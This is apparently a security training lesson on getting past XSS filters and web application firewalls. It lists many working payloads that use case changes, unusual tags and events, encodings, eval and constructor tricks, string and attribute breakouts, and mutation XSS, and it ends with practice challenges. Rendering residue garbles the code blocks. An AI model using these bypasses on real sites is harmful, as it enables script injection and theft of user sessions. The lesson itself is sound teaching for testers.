XSS Filter Bypass Techniques

advanced40 minWriteup

Advanced techniques to bypass XSS filters and WAFs

Learning Objectives

  • Bypass common XSS filters
  • Use encoding techniques
  • Exploit browser quirks
  • Craft polyglot payloads

The Art of Sneaking Past Security

So you found an XSS vulnerability, but your payload gets blocked? Welcome to the real game. Modern applications use Web Application Firewalls (WAFs), input sanitization, and Content Security Policies to stop XSS. But like a lockpick artist facing a new lock, there's almost always a way through.

This lesson is about creative problem-solving. We'll explore dozens of techniques to bypass XSS filters, from simple case changes to advanced browser quirks. By the end, you'll think like both an attacker and a defender.

This builds on , , and . Make sure you understand basic XSS before diving into bypasses.

Know Your Enemy: How Filters Work

Before bypassing filters, understand how they work. Most filters fall into these categories:

1. Blacklist Filters

1APPROACH: Block known bad patterns
2 
3EXAMPLES:
4- Block 606070;">#a5d6ff;">"script" → <script> removed
5- Block 606070;">#a5d6ff;">"onerror" → onerror= removed
6- Block 606070;">#a5d6ff;">"<" and ">" → Angle brackets encoded
7 
8WEAKNESS:
9- Can't anticipate all variations
10- Case sensitivity issues
11- Encoding bypasses
12- Alternative tags/events

2. Whitelist Filters

1APPROACH: Only allow known good patterns
2 
3EXAMPLES:
4- Only allow <b>, <i>, <u> tags
5- Only allow href, src, alt attributes
6- Only allow specific URL protocols
7 
8WEAKNESS:
9- Might miss dangerous attributes in allowed tags
10- Protocol confusion (javascript:)
11- DOM clobbering through allowed elements

3. Encoding/Escaping

1APPROACH: Convert dangerous characters to safe representations
2 
3EXAMPLES:
4< → &lt;
5> → &gt;
6" → &quot;
7' → &606070;">#x27;
8 
9WEAKNESS:
10- Might not encode in all contexts
11- Double encoding issues
12- Different contexts need different encoding

4. WAF (Web Application Firewall)

1APPROACH: Pattern matching on HTTP requests
2 
3EXAMPLES:
4- Regex for <script.*?>
5- Signature-based detection
6- Anomaly detection
7 
8WEAKNESS:
9- Can't see all transformations application does
10- Encoding before WAF vs after
11- Request splitting/smuggling

Basic Bypass Techniques

Case Manipulation

html
1<!-- If 606070;">#a5d6ff;">"script" is blocked (case-sensitive): -->
2<SCRIPT>alert(1)</SCRIPT>
3<ScRiPt>alert(1)</ScRiPt>
4<scRIPT>alert(1)</scRIPT>
5 
6<!-- Mixed case for events: -->
7<img src=x ONERROR=alert(1)>
8<img src=x oNeRrOr=alert(1)>
9 
10<!-- HTML is case-insensitive, JavaScript is not -->
11<!-- But event handlers execute JavaScript, so: -->
12<img src=x onerror=ALERT(1)> <!-- Won't work! -->
13<img src=x onerror=alert(1)> <!-- This works -->

Tag Variations

html
1<!-- If <script> is blocked, use other tags: -->
2 
3<!-- Event handlers: -->
4<img src=x onerror=alert(1)>
5<svg onload=alert(1)>
6<body onload=alert(1)>
7<input onfocus=alert(1) autofocus>
8<marquee onstart=alert(1)>
9<video><source onerror=alert(1)>
10<audio src=x onerror=alert(1)>
11<details open ontoggle=alert(1)>
12<iframe onload=alert(1)>
13<object data=606070;">#a5d6ff;">"javascript:alert(1)">
14<embed src=606070;">#a5d6ff;">"javascript:alert(1)">
15 
16<!-- Less common but effective: -->
17<math><mtext><table><mglyph><style><img src=x onerror=alert(1)>
18<keygen autofocus onfocus=alert(1)>
19<isindex action=606070;">#a5d6ff;">"javascript:alert(1)">
20<form><button formaction=606070;">#a5d6ff;">"javascript:alert(1)">X</button></form>

Event Handler Alternatives

html
1<!-- If onerror is blocked: -->
2 
3<!-- Focus events: -->
4<input onfocus=alert(1) autofocus>
5<textarea onfocus=alert(1) autofocus>
6<select onfocus=alert(1) autofocus>
7 
8<!-- Mouse events: -->
9<div onmouseover=alert(1)>hover me</div>
10<div onmouseenter=alert(1)>hover</div>
11<a onmouseover=alert(1) href=606070;">#>link</a>
12 
13<!-- Animation events: -->
14<style>@keyframes x{}</style>
15<div style=606070;">#a5d6ff;">"animation-name:x" onanimationend=alert(1)>
16 
17<!-- Transition events: -->
18<div style=606070;">#a5d6ff;">"transition:1s" ontransitionend=alert(1)>
19 
20<!-- Pointer events: -->
21<div onpointerenter=alert(1)>
22 
23<!-- Touch events (mobile): -->
24<div ontouchstart=alert(1)>touch</div>
25 
26<!-- Exotic events: -->
27<body onpageshow=alert(1)>
28<body onhashchange=alert(1)><a href=606070;">#x>click</a>
29<form onsubmit=alert(1)><button>submit</button></form>
There are 100+ HTML event handlers. When one is blocked, there are many alternatives. Check PortSwigger's XSS cheat sheet for a complete list.

Encoding Tricks

URL Encoding

1<!-- Single URL encoding: -->
2<script>alert(1)</script>
3→ %3Cscript%3Ealert(1)%3C/script%3E
4 
5<!-- Double URL encoding (if decoded twice): -->
6<script>
7→ %253Cscript%253E
8 
9<!-- Partial encoding: -->
10<scr%69pt>alert(1)</scr%69pt>
11 
12<!-- URL encoding in href: -->
13<a href=606070;">#a5d6ff;">"javascript:alert(1)">
14→ <a href=606070;">#a5d6ff;">"javascript:%61lert(1)">

HTML Entity Encoding

html
1<!-- Named entities: -->
2<img src=x onerror=alert(1)>
3→ <img src=x onerror=alert&lpar;1&rpar;>
4 
5<!-- Decimal entities: -->
6<img src=x onerror=&606070;">#97;&#108;&#101;&#114;&#116;(1)>
7<!-- &606070;">#97; = 'a', &#108; = 'l', etc. -->
8 
9<!-- Hex entities: -->
10<img src=x onerror=&606070;">#x61;&#x6c;&#x65;&#x72;&#x74;(1)>
11 
12<!-- Mixed encoding: -->
13<img src=x onerror=&606070;">#x61;lert(1)>
14 
15<!-- In href attribute: -->
16<a href=606070;">#a5d6ff;">"javascript&#58;alert(1)">
17<a href=606070;">#a5d6ff;">"&#106;avascript:alert(1)">
18<a href=606070;">#a5d6ff;">"&#x6A;avascript:alert(1)">

Unicode Tricks

html
1<!-- Unicode escapes in JavaScript: -->
2<script>\u0061lert(1)</script>
3<!-- \u0061 = 606070;">#a5d6ff;">'a' -->
4 
5<!-- Full unicode: -->
6<script>\u0061\u006c\u0065\u0072\u0074(1)</script>
7 
8<!-- Unicode normalization (NFC/NFD): -->
9<!-- Some characters normalize to ASCII -->
10 
11<!-- Homograph attacks (look-alike characters): -->
12<img src=x onerror=alert(1)>
13<!-- a is Unicode full-width 606070;">#a5d6ff;">'a' -->
14 
15<!-- Zero-width characters (invisible): -->
16<scr​ipt>alert(1)</scr​ipt>
17<!-- Zero-width space between 606070;">#a5d6ff;">'r' and 'i' -->

JavaScript Encoding

javascript
1606070;">// Octal encoding:
2<script>\141lert(1)</script> 606070;">// \141 = 'a'
3 
4606070;">// Hex encoding:
5<script>\x61lert(1)</script> 606070;">// \x61 = 'a'
6 
7606070;">// Unicode in JS strings:
8<script>eval(606070;">#a5d6ff;">"\u0061lert(1)")</script>
9 
10606070;">// Template literals:
11<script>alert`1`</script>
12 
13606070;">// Using eval with encoding:
14<script>eval(atob(606070;">#a5d6ff;">'YWxlcnQoMSk='))</script>
15606070;">// Base64 of 'alert(1)'

JavaScript Obfuscation

Avoiding "alert"

javascript
1606070;">// If "alert" is blocked:
2 
3606070;">// String concatenation:
4window[606070;">#a5d6ff;">"al"+"ert"](1)
5 
6606070;">// Bracket notation:
7window[606070;">#a5d6ff;">"alert"](1)
8this[606070;">#a5d6ff;">"alert"](1)
9self[606070;">#a5d6ff;">"alert"](1)
10 
11606070;">// Constructor tricks:
12[][606070;">#a5d6ff;">"constructor"]["constructor"]("alert(1)")()
13606070;">#a5d6ff;">""["constructor"]["constructor"]("alert(1)")()
14 
15606070;">// Using eval:
16eval(606070;">#a5d6ff;">"ale"+"rt(1)")
17 
18606070;">// Using Function constructor:
19new Function(606070;">#a5d6ff;">"alert(1)")()
20Function(606070;">#a5d6ff;">"alert(1)")()
21 
22606070;">// Using setTimeout/setInterval:
23setTimeout(606070;">#a5d6ff;">"alert(1)")
24setInterval(606070;">#a5d6ff;">"alert(1)",1000)
25 
26606070;">// Using atob (base64):
27eval(atob(606070;">#a5d6ff;">"YWxlcnQoMSk="))
28 
29606070;">// Using String.fromCharCode:
30eval(String.fromCharCode(97,108,101,114,116,40,49,41))

Avoiding Parentheses

javascript
1606070;">// If () are blocked:
2 
3606070;">// Template literals (backticks):
4alert`1`
5 
6606070;">// Using throw:
7throw onerror=alert,1
8 
9606070;">// In HTML context:
10<img src=x onerror=alert`1`>
11 
12606070;">// With assignment:
13<img src=x onerror=606070;">#a5d6ff;">"alert\x281\x29">
14606070;">// \x28 = '(' and \x29 = ')'

Avoiding Quotes

javascript
1606070;">// If quotes are blocked:
2 
3606070;">// No quotes needed in HTML:
4<img src=x onerror=alert(1)>
5 
6606070;">// Using backticks:
7<img src=x onerror=alert(`xss`)>
8 
9606070;">// Using String.fromCharCode:
10<img src=x onerror=alert(String.fromCharCode(88,83,83))>
11 
12606070;">// Using regex:
13<img src=x onerror=alert(/XSS/.source)>
14 
15606070;">// Using location.hash:
16<img src=x onerror=alert(location.hash)>606070;">#XSS
17 
18606070;">// DOM-based (get text from page):
19<img src=x onerror=alert(document.body.textContent)>
Bypass Challenge
text

A filter blocks: - The word "alert" - The word "script" - Parentheses () Craft a payload that executes JavaScript and shows a popup.

Context-Specific Bypasses

Breaking Out of JavaScript Strings

html
1<!-- Input in single-quoted string: -->
2<script>var x = 606070;">#a5d6ff;">'USER_INPUT';</script>
3 
4<!-- Close string, inject code: -->
5';alert(1);606070;">//
6→ var x = 606070;">#a5d6ff;">'';alert(1);//';
7 
8<!-- If backslashes escape quotes: -->
9\';alert(1);606070;">//
10→ var x = 606070;">#a5d6ff;">'\'';alert(1);//';
11 
12<!-- If quotes are HTML-encoded: -->
13</script><script>alert(1)</script>
14<!-- Break out of script entirely -->

Breaking Out of HTML Attributes

html
1<!-- Input in attribute: -->
2<input value=606070;">#a5d6ff;">"USER_INPUT">
3 
4<!-- Close attribute, add event: -->
5606070;">#a5d6ff;">" onfocus="alert(1)" autofocus x="
6→ <input value=606070;">#a5d6ff;">"" onfocus="alert(1)" autofocus x="">
7 
8<!-- If double quotes escaped: -->
9606070;">#a5d6ff;">' onfocus='alert(1)' autofocus x='
10→ <input value=606070;">#a5d6ff;">'' onfocus='alert(1)' autofocus x=''>
11 
12<!-- No quotes at all: -->
13x onfocus=alert(1) autofocus x
14→ <input value=x onfocus=alert(1) autofocus x>
15 
16<!-- Close tag entirely: -->
17606070;">#a5d6ff;">"><script>alert(1)</script><input value="
18→ <input value=606070;">#a5d6ff;">""><script>alert(1)</script><input value="">

JavaScript Template Literals

javascript
1606070;">// Input in template literal:
2var x = `USER_INPUT`;
3 
4606070;">// Close template, inject:
5${alert(1)}
6var x = `${alert(1)}`;
7 
8606070;">// Or break out:
9`-alert(1)-`
10var x = ``-alert(1)-``;

CSS Context

html
1<!-- Input in style attribute: -->
2<div style=606070;">#a5d6ff;">"color: USER_INPUT">
3 
4<!-- CSS expressions (old IE): -->
5expression(alert(1))
6 
7<!-- Break out to add event: -->
8red606070;">#a5d6ff;">" onmouseover="alert(1)" style="color:red
9→ <div style=606070;">#a5d6ff;">"color: red" onmouseover="alert(1)" style="color:red">
10 
11<!-- url() with javascript (old browsers): -->
12url(javascript:alert(1))

WAF Bypass Techniques

Character Insertions

html
1<!-- Null bytes: -->
2<scr%00ipt>alert(1)</script>
3 
4<!-- Newlines and tabs: -->
5<img src=x
6onerror
7=
8alert(1)>
9 
10<!-- Comments in tags: -->
11<script>al/**/ert(1)</script>
12 
13<!-- Forward slashes: -->
14<svg/onload=alert(1)>
15<img/src=x/onerror=alert(1)>
16 
17<!-- Multiple spaces: -->
18<img src=x onerror=alert(1)>

Protocol Variations

html
1<!-- Case variations: -->
2<a href=606070;">#a5d6ff;">"jAvAsCrIpT:alert(1)">
3 
4<!-- Whitespace in protocol: -->
5<a href=606070;">#a5d6ff;">"java script:alert(1)">
6<a href=606070;">#a5d6ff;">"java script:alert(1)"> <!-- tab -->
7<a href="java
8script:alert(1)"> <!-- newline -->
9 
10<!-- Entity-encoded: -->
11<a href=606070;">#a5d6ff;">"&#106;avascript:alert(1)">
12<a href=606070;">#a5d6ff;">"javascript&#58;alert(1)">
13 
14<!-- Data URI: -->
15<a href=606070;">#a5d6ff;">"data:text/html,<script>alert(1)</script>">
16<a href=606070;">#a5d6ff;">"data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">

Request Smuggling

1606070;">// Split payload across multiple parameters:
2?param1=<script>&param2=alert(1)&param3=</script>
3 
4606070;">// If reflected together: <script>alert(1)</script>
5 
6606070;">// HTTP Parameter Pollution:
7?search=safe&search=<script>alert(1)</script>
8606070;">// Some apps take first, some take last, some concatenate
9 
10606070;">// Chunked encoding tricks:
11606070;">// Break WAF rules across chunk boundaries

Mutation XSS (mXSS)

html
1<!-- Browser 606070;">#a5d6ff;">"fixes" HTML in unexpected ways -->
2 
3<!-- Example that becomes XSS after parsing: -->
4<noscript><p title=606070;">#a5d6ff;">"</noscript><img src=x onerror=alert(1)>">
5 
6<!-- Browser parses this as: -->
7<noscript><p title="</noscript>
8<img src=x onerror=alert(1)>
9">
10 
11<!-- DOMPurify bypasses have used mXSS -->
WAF bypasses are specific to each WAF product. What works for one may not work for another. Always test multiple techniques.

Practice Challenges

Filter Gauntlet

Challenge
🔥 medium

A search function reflects your input. The filter: - Removes "script" (case-insensitive) - Removes "onerror" and "onload" - Removes "javascript:" - HTML-encodes < and > Your input appears like: <div class="results">Search: USER_INPUT</div> Find XSS.

Need a hint? (4 available)

Parentheses Prison

Challenge
🔥 medium

You found XSS but the filter blocks: - All parentheses () - The word "alert" - Backticks are allowed Craft a working payload.

Need a hint? (3 available)

WAF Warrior

Challenge
🔥 medium

A WAF is blocking your XSS attempts. It seems to block: - Any tag containing "script" - Event handlers with "alert" - Standard encoding patterns The response includes your input unfiltered. Find a bypass.

Need a hint? (4 available)

Knowledge Check

XSS Filter Bypass Quiz
Question 1 of 5

If a filter removes 'script' case-sensitively, which bypasses it?

Key Takeaways

  • Case manipulation often bypasses filters - HTML is case-insensitive
  • Alternative tags and events: There are 100+ HTML event handlers
  • Encoding tricks: URL, HTML entities, Unicode, and JavaScript encoding
  • Avoid filtered functions with window["alert"], confirm, prompt, or eval
  • Template literals (backticks) can replace parentheses: alert`1`
  • Context matters: The bypass depends on WHERE your input lands
  • WAFs aren't perfect: Try multiple techniques, they see raw requests

Related Lessons